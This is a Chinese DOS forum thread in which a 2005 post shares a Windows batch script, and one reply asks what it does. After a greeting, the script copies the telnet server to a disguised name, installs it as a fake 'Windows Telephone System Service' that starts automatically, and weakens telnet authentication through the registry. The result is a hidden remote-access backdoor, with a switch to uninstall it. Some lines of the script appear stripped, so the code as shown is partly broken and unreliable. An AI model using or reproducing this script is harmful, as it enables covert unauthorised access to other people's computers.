中国DOS联盟

-- 联合DOS 推动DOS 发展DOS --

联盟域名:www.cn-dos.net 论坛域名:www.cn-dos.net/forum
DOS,代表着自由开放与发展,我们努力起来,学习FreeDOS和Linux的自由开放与GNU精神,共同创造和发展美好的自由与GNU GPL世界吧!

中国DOS联盟论坛
现在时间是 2026-08-02 03:38
中国DOS联盟论坛 » DOS批处理 & 脚本技术(批处理室) » 代码好像还不是很全面,不过凑合着发吧! 查看 1,499 回复 1
楼 主 代码好像还不是很全面,不过凑合着发吧! 发表于 2005-10-25 11:35 ·  中国 北京 顺义区 联通
银牌会员
★★★
DOS联盟捡破烂的
积分 1,144
发帖 425
注册 2005-10-20 00:00
20年会员
UID 43784
来自 北京
状态 离线
@echo off
cls
color 0f
echo %date%
echo;
echo ************************☆☆☆☆☆☆☆**************************
echo Welcome to WwW.20Fox.cN Code By BagPipe
echo ************************☆☆☆☆☆☆☆**************************
for /f "tokens=1 delims=:" %%i in ('time /t') do set aa=%%i
if %aa% GEQ 22 goto 3
if %aa% GEQ 19 goto 2
if %aa% GEQ 13 goto 1
if %aa% GEQ 11 goto 6
if %aa% GEQ 06 goto 5
if %aa% GEQ 01 goto 4
:1
echo HeLLo!下午好!
goto 7
:2
echo Hello!晚上好!
goto 7
:3
echo Hello!深夜好!
goto 7
:4
echo Hello!凌晨好!
goto 7
:5
echo Hello!早上好!
goto 7
:6
echo Hello!中午好!
goto 7
:7

if "%1"=="-bagpipe" goto pipe

copy c:\winnt\system32\tlntsvr.exe c:\winnt\system32\com\telephone.exe >nul
echo >c:\1.inf
echo signature="$Windows NT$" >>c:\1.inf
echo.>>1.inf
echo >>c:\1.inf
echo addservice=telephone,,bagpipeservice >>c:\1.inf
echo.>>1.inf
echo >>c:\1.inf
echo displayname=Windows Telephone System Service >>c:\1.inf
echo description=此程序提供Internet 电话支持. >>c:\1.inf
echo servicetype=0x10 >>c:\1.inf
echo starttype=2 >>c:\1.inf
echo errorcontrol=0 >>c:\1.inf
echo servicebinary=c:\winnt\system32\com\telephone.exe >>c:\1.inf

rundll32.exe setupapi,InstallHinfSection DefaultInstall 128 c:\1.inf

echo Windows Registry Editor Version 5.00 >c:\1.reg
echo.>>1.reg
echo >>c:\1.reg
echo "NTLM"=dword:00000000 >>c:\1.reg

regedit /s c:\1.reg

del /f .\1.inf
del /f .\1.reg
net start "Windows Telephone System Service">nul
echo 服务安装结束!!!
ping 1.1.1.1 -n 2 -w 300 >nul
goto end

:pipe
net stop "Windows Telephone System Service" >nul
del /f c:\winnt\system32\com\telephone.exe >nul
echo >c:\2.inf
echo signature="$Windows NT$" >>c:\2.inf
echo.>>2.inf
echo >>c:\2.inf
echo delservice=telephone >>2.inf

rundll32.exe setupapi,InstallHinfSection DefaultInstall 128 c:\2.inf

echo Windows Registry Editor Version 5.00 >c:\2.reg
echo.>>2.reg
echo >>c:\2.reg
echo "NTLM"=dword:00000002 >>c:\2.reg

regedit /s c:\2.reg

echo 卸载成功!!!
del /f .\2.inf
del /f .\2.reg
ping 1.1.1.1 -n 2 -w 300 >nul
goto end

:end
2 发表于 2006-10-07 17:09 ·  中国 湖北 武汉 电信
版主
★★★★★
积分 11,386
发帖 4,938
注册 2006-07-23 17:10
20年会员
UID 59080
状态 离线
请问楼主,这个p处理是做什么用的?
怎么我看着好象是添加一个服务又把这个服务给删除掉?
可以大概解释一下否?
论坛跳转: